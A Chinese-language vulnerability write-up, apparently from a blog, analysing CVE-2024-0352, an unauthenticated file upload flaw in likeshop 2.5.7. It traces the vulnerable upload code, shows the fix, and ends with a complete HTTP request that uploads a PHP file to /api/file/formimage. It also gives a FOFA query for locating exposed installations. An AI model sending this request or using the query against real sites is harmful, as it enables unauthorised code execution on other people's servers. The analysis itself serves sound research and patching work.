CVE-2024-0352 likeshop v2.5.7文件上传漏洞分析
本次的漏洞研究基于thinkPHP开发开的一款项目.....
漏洞描述
Likeshop是Likeshop开源的一个社交商务策略的完整解决方案,开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞,该漏洞源于文件server/application/api/controller/File.php的参数file会导致不受限制的上传。
fofa查询语句
icon_hash="874152924" && body="/pc/"
环境搭建
下载https://github.com/likeshop-github/likeshop/releases/tag/2.5.7
漏洞代码审计
server\application\api\controller的File.php文件,路由/api/file/formimage

进入userFormImage方法,FileServer::userFormImages()

107行 创建实例StorageDriver 后调用setUploadFile方法,跟过去

其实调用的是引擎的setUplloadFile方法,是那个引擎呢!

分别为阿里云存储引擎 (OSS) 本地文件驱动 腾讯云存储引擎 (COS) 七牛云存储引擎 存储引擎抽象类(那三个全部继承这个类)
setUploadFile方法只在存储引擎抽象类中存在,因此分析server.php下的setUploadFile方法

我们重点关注上传文件名,文件内容。代码中没有任何过滤的函数,
查看109行 StorageDriver->upload 方法

我们挨个分析这几个引擎类对upload的实现
local类,直接move 没有任何过滤

Aliyun类

剩下的引擎类就不分析了,基本都没有做文件名的后缀检测。
文件上传漏洞可成功利用
后续修复
在修复的版本中,Server.php中进行了文件名的限制

这里校验文件处new了一个Upload对象,该对象内容如下

漏洞复现
进入环境页面设置好sql连接
等待安装

注册一个账号

登录账号后点击我的 设置自己信息

这里其实是有头像的,点击上传头像

抓包改变content-type 打入payload


实际测试没有cookie 没有token也可成功访问该接口
访问payload文件

payload成功执行 , 漏洞复现成功
附赠payload
POST /api/file/formimage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: multipart/form-data; boundary=---------------------------348900489633202294591557761619
Content-Length: 248-----------------------------348900489633202294591557761619
Content-Disposition: form-data; name="file"; filename="b.php"
Content-Type: application/octet-stream<?php phpinfo(); ?>
-----------------------------348900489633202294591557761619--
相关文章:
CVE-2024-0352 likeshop v2.5.7文件上传漏洞分析
本次的漏洞研究基于thinkPHP开发开的一款项目..... 漏洞描述 Likeshop是Likeshop开源的一个社交商务策略的完整解决方案,开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞,该漏洞源于文件server/application/api/contr…...
JAVA处理类似饼状图占比和100%问题,采用最大余额法
前言: 在做数据统计报表的时候,有两种方式解决占比总和达不到100%或者超过100%问题。 第一种方式是前端echart图自带的算分框架。 第二种方式是java后端取处理这个问题。 现存问题: 前端不通过饼状图的方式去展示各个分类的占比累加和为100%问…...
MATLAB矩阵的操作(第一部分)
矩阵的基本知识 矩阵概念 矩阵(Matrix)在数学中是一个由复数或实数组成的矩形阵列,其元素按照行和列排列。矩阵的定义可以形式化地描述为: 一个 m 行 n 列的矩阵是一个有序的数表,其中包含 m*n 个数,可以…...
全面掌握Django的web框架Django Rest_Framework(一)
文章目录 Django Rest_Framework1. DRF介绍2.DRF特点3.环境安装与配置(1)DRF需要以下依赖(2)创建django项目 4.序列化器的使用(1)创建序列化器 5. 反序列化器使用 Django Rest_Framework 1. DRF介绍 Djan…...
AOP+Redisson 延时队列,实现缓存延时双删策略
一、缓存延时双删 关于缓存和数据库中的数据保持一致有很多种方案,但不管是单独在修改数据库之前,还是之后去删除缓存都会有一定的风险导致数据不一致。而延迟双删是一种相对简单并且收益比较高的实现最终一致性的方式,即在删除缓存之后&…...
Hive中left join 中的where 和 on的区别
目录 一、知识点 二、测试验证 三、引申 一、知识点 left join中关于where和on条件的知识点: 多表left join 是会生成一张临时表。on后面: 一般是对left join 的右表进行条件过滤,会返回左表中的所有行,而右表中没有匹配上的数…...
LaTeX教程(001)-LaTeX文档结构(01)
LaTeX教程(001)- LaTeX \LaTeX LATEX文档结构(01) 说在前面 这是我本人学习《The LaTeX Companion》第三版的笔记,但并不是翻译。 书籍的第一章对 LaTeX \LaTeX LATEX及其历史进行了相当长的介绍,这是几乎每一本关于 LaTeX \LaTeX LATEX的书都会…...
SV-7041T 多媒体教学广播IP网络有源音箱
SV-7041T是深圳锐科达电子有限公司的一款2.0声道壁挂式网络有源音箱,具有10/100M以太网接口,可将网络音源通过自带的功放和喇叭输出播放,可达到功率30W。同时它可以外接一个30W的无源副音箱,用在面积较大的场所。5寸进口全频低音喇…...
Linux文本三剑客awk经典案例
前言: AWK是一种专门用于文本处理的编程语言,它被广泛用于数据提取和报告生成,也是企业笔试面试常考的内容,以下34题是awk的用法案例,希望可以帮到你! 1.查看TCP连接状态 [rootnode1 ~]# netstat -nat | a…...
如何使用 Mermaid、GitHub 和 VSCode 用代码创建关系图三
Mermaid 系列 如何使用 Mermaid、GitHub 和 VSCode 用代码创建关系图一如何使用 Mermaid、GitHub 和 VSCode 用代码创建关系图二 1.如何创建甘特图 Gantt 甘特图以条形图的形式用作可视化表示。它有效地展示了项目的时间表,揭示了各个项目组件完成所需的持续时间…...
考研经验总结——政治篇
文章目录 一、前言二、学习情况三、最后 一、前言 不要提前,不要提前,不要提前, 我曾在暑假的时候上了7天左右的政治课,讲真话是很有趣的,并且对于自身的世界观、人生观和价值观的改善也是相当不错的,把我…...
春招秋招,在线测评到底难不难?
现在很多企业在春招的时候,都会有一个在线测评的环节,目的当然就是希望更加了解清楚毕业生的综合能力以及其他方面的素质,好让HR可以根据岗位筛选出能力达标的人才。所以,现在不少即将面对春招的大学毕业生,比较关心的…...
数学建模比赛中,使用大语言模型如chatgpt、文心一言该如何写Prompt(提示)?
在大型语言模型中,"prompt"(中文常译为“提示”或“引导”)是指提供给模型的输入文本,用于指示或引导模型产生特定的输出。它的作用主要是告诉模型用户想要得到什么样的信息或完成什么样的任务。 例如,在使…...
tcpdump 抓包无法落盘
文章目录 问题背景解决办法 问题背景 在嵌入式设备中(Linux系统),为了分析两个网络节点的通讯问题,往往需要用到tcpdump,抓一个.pcap的包在PC端进行分析。博主在实际操作中发现,抓包无法实时落盘。 解决办法 # 下面的命令是写在…...
【网站项目】066农家乐信息平台
🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板ÿ…...
idea/webstorm 创建Vue实例 Unresolved type Vue 处理方法
1.电脑本地安装node.js 官网下载 2. 其他: 未排除变量,前期试错(以下步骤配置了,但不确定对解决问题是否有帮助)...
C++ 11新特性之语法甜点2
概述 C 11中引入了许多简化编程工作的语法上的新特性,我们暂且美其名曰:“语法甜点”。书接上篇,我们继续介绍C 11中的这些“语法甜点”,也是第二篇关于“语法甜点”的文章。 语法甜点6:模板右边双括号 在C 03中&#…...
【芯片设计- RTL 数字逻辑设计入门 番外篇 8.1 -- memory repair 详细介绍】
文章目录 memory repair 详细介绍Memory Repair 方法Memory Repair 过程举例memory repair 详细介绍 SoC (System on Chip) 的 Memory Repair 是一种技术,用于检测和修复内存中的损坏单元。由于SoC内部集成了大量的逻辑和存储单元,包括RAM(随机访问存储器)、ROM(只读存储…...
2023强网杯复现
强网先锋 SpeedUp 要求2的27次方的阶乘的逐位之和 在A244060 - OEIS 然后我们将4495662081进行sha256加密 就得到了flag flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797} MISC easyfuzz 通过尝试输入字符串判断该程序对输入字符的验证规则为9…...
IP代理协议有哪些?爬虫代理如何被合理使用?
随着互联网的普及和发展,IP代理作为一种网络代理方式,越来越受到人们的关注。IP代理协议是网络代理的一种规范,它规定了代理服务器与客户端之间进行通信的规则。了解IP代理协议对于使用代理的人来说非常重要,因为它可以帮助我们更…...
nli-distilroberta-base多场景:科研论文摘要与结论段落逻辑支撑关系分析
nli-distilroberta-base多场景:科研论文摘要与结论段落逻辑支撑关系分析 1. 项目概述 nli-distilroberta-base是基于DistilRoBERTa模型的自然语言推理(NLI)Web服务,专门用于分析两个句子之间的逻辑关系。这个轻量级模型在学术写作领域具有独特价值&…...
YOLOv9官方镜像深度体验:开箱即用,效果超出预期
YOLOv9官方镜像深度体验:开箱即用,效果超出预期 1. 镜像初体验:零配置启动的惊喜 第一次接触YOLOv9官方镜像时,我带着怀疑的态度——毕竟在深度学习领域,"开箱即用"的承诺往往伴随着各种隐藏的环境配置问题…...
手把手教你实现glitch free的时钟切换电路(附Verilog代码)
手把手教你实现glitch free的时钟切换电路(附Verilog代码) 时钟切换电路是数字系统设计中的关键模块,尤其在多时钟域系统中,可靠的时钟切换能确保系统稳定运行。本文将深入探讨如何实现无毛刺(glitch free)…...
EfficientViT-GazeSAM完整部署指南:在RTX 4070上实现实时注视分割
EfficientViT-GazeSAM完整部署指南:在RTX 4070上实现实时注视分割 【免费下载链接】efficientvit EfficientViT is a new family of vision models for efficient high-resolution vision. 项目地址: https://gitcode.com/gh_mirrors/ef/efficientvit Effici…...
终极指南:解决Embassy嵌入式框架编译错误的10个技巧
终极指南:解决Embassy嵌入式框架编译错误的10个技巧 【免费下载链接】embassy Modern embedded framework, using Rust and async. 项目地址: https://gitcode.com/gh_mirrors/em/embassy Embassy是一个使用Rust和async/await的现代嵌入式框架,但…...
【stm32_2.1】【快速入门】自举模式、Flash闪存、LED点灯——对二极管PN结解析
目录 当前MCU概述 固化程序到单片机 自举模式 自举配置 Flash闪存 二极管的原理 当前MCU概述 MCU名称stm32F407ZET6处理器主频168MHz 闪存容量 512KB静态随机访问存储器SRAM192KBMCU引脚数量144pin 固化程序到单片机 写好的程序要固化到单片机,就必须学习怎…...
ComfyUI视频合成节点修复指南:从诊断到优化的完整解决方案
ComfyUI视频合成节点修复指南:从诊断到优化的完整解决方案 【免费下载链接】ComfyUI-VideoHelperSuite Nodes related to video workflows 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-VideoHelperSuite 问题诊断:定位VHS_VideoCombine…...
chronyd服务端123端口未启动的深度排查与修复指南
1. 问题现象与初步判断 最近在搭建NTP时间同步架构时遇到了一个典型问题:作为中转节点的Master服务器123端口未启动,导致下游ServerA设备无法同步时间。具体表现为执行chronyc sources命令时,客户端显示^?符号(表示无法连接服务端…...
西门子触摸屏报警处理:除了弹窗,用这个‘非中断式’方法让产线更丝滑
西门子HMI非中断报警系统设计:让产线效率提升30%的实战方案 在快节奏的工业现场,每一次操作中断都意味着产能的隐形流失。传统HMI报警弹窗就像突然按下的暂停键——操作员必须停下手中任务去点击确认,而流水线上的产品仍在流动。这种矛盾在汽…...
AI混音师登场:音频自动混音技术全景解读与实战展望
AI混音师登场:音频自动混音技术全景解读与实战展望 引言 在AIGC浪潮席卷内容创作的今天,音频制作领域正经历一场静默革命。从专业录音棚到手机直播间,“一键母带”、“智能平衡”功能已不再陌生。这背后,正是音频自动混音技术在驱…...
